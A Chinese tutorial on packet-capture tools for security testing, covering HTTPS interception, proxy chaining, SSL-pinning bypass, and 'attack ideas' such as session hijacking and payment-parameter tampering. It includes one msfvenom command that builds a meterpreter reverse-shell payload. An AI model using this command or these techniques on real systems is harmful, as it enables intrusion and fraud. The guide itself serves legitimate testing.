网络安全抓包技术
[TOC]
网络安全抓包技术
一、抓包基础核心
1. 前置准备:证书安装(HTTPS抓包必备)
- 核心目的:解决HTTPS流量加密问题,让抓包工具解密并捕获明文数据
- 安装场景与步骤:
- 浏览器:下载工具根证书 → 导入浏览器 → 设为「受信任的根证书颁发机构」+「中间证书」
- 模拟器:将证书文件传入模拟器 → 系统设置→安全→安装证书 → 选择信任
- 真机:手机与电脑连同一网络 → 浏览器访问工具证书下载地址 → 安装证书 → 信任(需开启手机信任第三方证书权限)
- 关键注意:证书必须同时安装在「受信任根证书」和「中间证书」目录,否则HTTPS抓包会失败
2. 核心抓包工具详解(含安全测试定位)
| 工具名称 | 官方地址 | 核心功能 | 适用场景 | 安全测试优势 |
|---|---|---|---|---|
| Fiddler | https://www.telerik.com/fiddler | HTTP/HTTPS代理调试,断点拦截、数据篡改、Cookie/HTML/JS分析 | Web、PC端轻量抓包 | 操作简单,适合快速定位前端参数漏洞 |
| Charles | https://www.charlesproxy.com/ | HTTP代理+监视器,支持反向代理、缓存篡改、SSL解密 | Web、APP、小程序常规抓包 | 可视化强,适合分析接口请求链 |
| Burp Suite | -(官方官网下载) | Web应用攻击集成平台,抓包+漏洞扫描+ payload注入+会话管理 | Web、API安全测试核心工具 | 内置漏洞检测模块,可直接发起攻击 |
| Reqable | https://reqable.com/ | 跨平台HTTP1/HTTP2/HTTP3抓包+接口测试(Postman合体功能) | 全场景抓包+接口联调测试 | 支持QUIC协议,适配新型应用 |
| Yakit | https://www.yaklang.com | 基于Yak语言,图形化操作+脚本自动化,降低安全工具使用门槛 | 全场景抓包+自动化漏洞探测 | 可联动其他工具,支持自定义攻击脚本 |
| Proxifier | -(官方官网下载) | 强制网络应用走代理,解决无代理设置的程序抓包问题 | PC端无代理程序、工具联动转发 | 突破应用代理限制,实现全流量捕获 |
| Wireshark | https://www.wireshark.org/ | 全局协议抓包,直接与网卡交互,捕获TCP/UDP/HTTP等所有底层数据包 | 全局流量分析、协议漏洞挖掘 | 支持深层协议解析,适合蓝队溯源 |
| 科来网络分析系统 | https://www.colasoft.com.cn/ | 专家级网络分析,故障排查+安全审计,可视化展示流量拓扑 | 企业级网络安全监控、攻击溯源 | 自动识别异常流量,适合大型网络分析 |
二、场景化抓包实战(按应用类型分)
1. Web应用抓包(HTTP/HTTPS)
- 核心工具:Burp Suite(首选)、Charles、Fiddler
- 抓包流程:设置浏览器代理(127.0.0.1:工具端口)→ 开启工具抓包 → 访问目标网站 → 捕获请求/响应数据
- 注意事项:部分网站检测代理会拒绝访问,需关闭工具代理验证或用Proxifier转发
- 攻击思路:
- 参数篡改:拦截登录、支付、查询接口,修改参数(如
id=1→id=2越权访问,amount=100→amount=1篡改金额) - API漏洞测试:分析请求头(Cookie、Token)、参数格式,注入SQLi、XSS、命令执行payload
- 会话劫持:捕获Cookie/Token后,替换自身浏览器会话,冒充登录目标账号
- 缓存投毒:篡改响应数据(如植入XSS脚本),诱导服务器缓存恶意内容,影响所有访问用户
- 参数篡改:拦截登录、支付、查询接口,修改参数(如
2. APP应用抓包(HTTP/HTTPS)
- 核心工具:Burp Suite、Yakit、Charles
- 抓包流程:
- 无防护:模拟器/真机连同一网络 → 设代理为电脑IP:工具端口 → 直接抓包
- 有防护:先绕过SSL_PINNING/代理检测 → 再按无防护流程操作
- 关键注意:真机/模拟器必须与抓包电脑在同一局域网,否则代理无法连通
- 攻击思路:
- SSL_PINNING绕过:通过Magisk加载工具证书、修改APP源码移除证书校验、Frida Hook校验函数,获取明文流量
- 逻辑漏洞挖掘:分析注册、支付、权限变更流程,篡改请求参数(如跳过验证码、修改用户等级)
- 敏感信息捕获:提取接口中的硬编码密钥、未脱敏手机号/身份证号、后台管理地址
- 协议逆向:解析APP自定义加密协议(如AES加密参数),通过抓包对比明文与密文,破解加密算法
3. 小程序应用抓包(微信/支付宝等)
- 核心工具:Burp Suite、Yakit、Charles
- 抓包流程:
- 微信小程序:电脑微信登录 → 开启工具代理 → 小程序访问目标功能 → 捕获流量(需关闭微信内置代理限制)
- 其他小程序:同APP抓包流程,部分需开启小程序调试模式
- 攻击思路:
- 未授权接口测试:拦截小程序API请求,删除Token/Cookie后重放,测试是否无需认证即可访问
- 域名探测:从流量中提取小程序关联域名,扫描子域名漏洞(如SQL注入、文件上传)
- 参数枚举:分析接口参数(如
page=1→page=2),遍历获取所有用户数据或敏感列表
4. PC端应用抓包
- 核心工具:Proxifier + Burp Suite/Yakit、Wireshark
- 抓包流程:
- 有代理设置:直接在应用内配置代理为工具地址(127.0.0.1:端口)
- 无代理设置:用Proxifier强制应用流量走代理 → 工具捕获数据
- 攻击思路:
- 客户端协议漏洞:分析PC应用与服务器的通信协议,寻找参数注入、缓冲区溢出漏洞
- 敏感数据窃取:捕获登录请求中的账号密码、配置文件中的密钥(如SSH密钥、API密钥)
- 重放攻击:捕获合法请求(如操作指令、数据提交),修改参数后重放,触发未授权操作
三、高级抓包技巧
1. 工具联动:多工具协同强化测试
- 核心目的:让流量依次经过不同工具,实现「抓包+分析+扫描+攻击」自动化
- 经典联动配置:
- 配置1:Burp Suite → Yakit(Burp抓包+Yakit自动化扫描)
- Burp设置代理:127.0.0.1:8080
- Yakit设置代理:127.0.0.1:8083,下游指向127.0.0.1:8080
- 系统/应用代理设为127.0.0.1:8080
- 配置2:Yakit → Burp Suite(Yakit脚本处理+Burp漏洞注入)
- Yakit代理:127.0.0.1:8083,下游设为127.0.0.1:8080
- Burp代理:127.0.0.1:8080
- 系统代理设为127.0.0.1:8083
- 配置3:Burp → Yakit → Reqable(抓包+扫描+接口测试)
- Burp:127.0.0.1:8080,Yakit:127.0.0.1:8083(下游8080)
- Reqable代理:127.0.0.1:9000,Yakit下游新增127.0.0.1:9000
- 系统代理设为127.0.0.1:8080
- 配置1:Burp Suite → Yakit(Burp抓包+Yakit自动化扫描)
- 攻击思路:通过联动实现「流量捕获→自动扫描漏洞→手动注入攻击→接口验证」闭环,提升测试效率(如Burp抓包后,Yakit自动检测SQLi,Reqable验证漏洞是否可利用)
2. 科学上网环境抓包
- 核心场景:目标网站需梯子访问,同时需抓包分析流量
- 主流组合:Clash + Burp Suite / Clash + Yakit
- 配置逻辑:
- 启动Clash并开启系统代理(实现科学上网)
- 抓包工具设置代理上游为Clash代理地址(如127.0.0.1:7890)
- 系统代理指向抓包工具地址,实现「流量→抓包工具→Clash→目标网站」
- 攻击思路:隐藏自身IP的同时捕获目标流量,分析境外网站的API接口、认证机制,挖掘未公开漏洞
3. 全局协议抓包(突破代理校验)
- 核心工具:Wireshark、科来网络分析系统
- 适用场景:应用检测到代理后拒绝通信,或非HTTP/HTTPS协议(TCP/UDP)抓包
- 原理:代理是「应用层转发」,而Wireshark/科来直接与网卡交互,捕获所有底层数据包(无论是否走代理)
- 典型用途:
- 蓝队:分析TCP/UDP攻击流量(如meterpreter反弹shell:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.9 lport=6666 -f exe -o 9.exe) - 红队:捕获非HTTP协议的应用通信(如游戏、客户端软件的自定义协议),逆向分析漏洞
- 蓝队:分析TCP/UDP攻击流量(如meterpreter反弹shell:
- 攻击思路:通过分析TCP/UDP数据包,寻找协议字段漏洞(如字段长度未校验导致溢出)、敏感信息明文传输(如账号密码未加密)
4. 抓包防护绕过技巧
- 针对代理检测:用Proxifier强制流量走代理,或修改应用配置文件禁用代理检测
- 针对SSL_PINNING(APP/小程序):
- 真机:Magisk刷入证书模块(如HttpCanary SSL Magisk),绕过证书校验
- 模拟器:修改APP源码(如移除SSL_PINNING相关代码)后重新打包
- 动态Hook:用Frida注入脚本,Hook SSL校验函数(如
X509TrustManager)
- 针对协议加密:抓包获取加密流量后,结合反编译(APP/小程序)破解加密算法(如AES密钥、自定义加密逻辑),再解密流量
四、攻击思路核心总结
- 流量分析→漏洞定位:通过抓包提取接口地址、参数格式、认证方式,定位未授权访问、参数注入、逻辑漏洞
- 数据篡改→攻击触发:拦截请求并修改关键参数(金额、权限标识、验证码),触发越权、支付漏洞等
- 协议逆向→深度攻击:分析非标准协议或加密流量,破解算法后发起精准攻击(如自定义协议缓冲区溢出)
- 工具协同→效率提升:通过多工具联动,实现自动化扫描+手动攻击结合,覆盖更多漏洞场景
- 绕过防护→突破限制:针对代理检测、SSL_PINNING等防护,采用技术手段绕过,确保抓包成功率
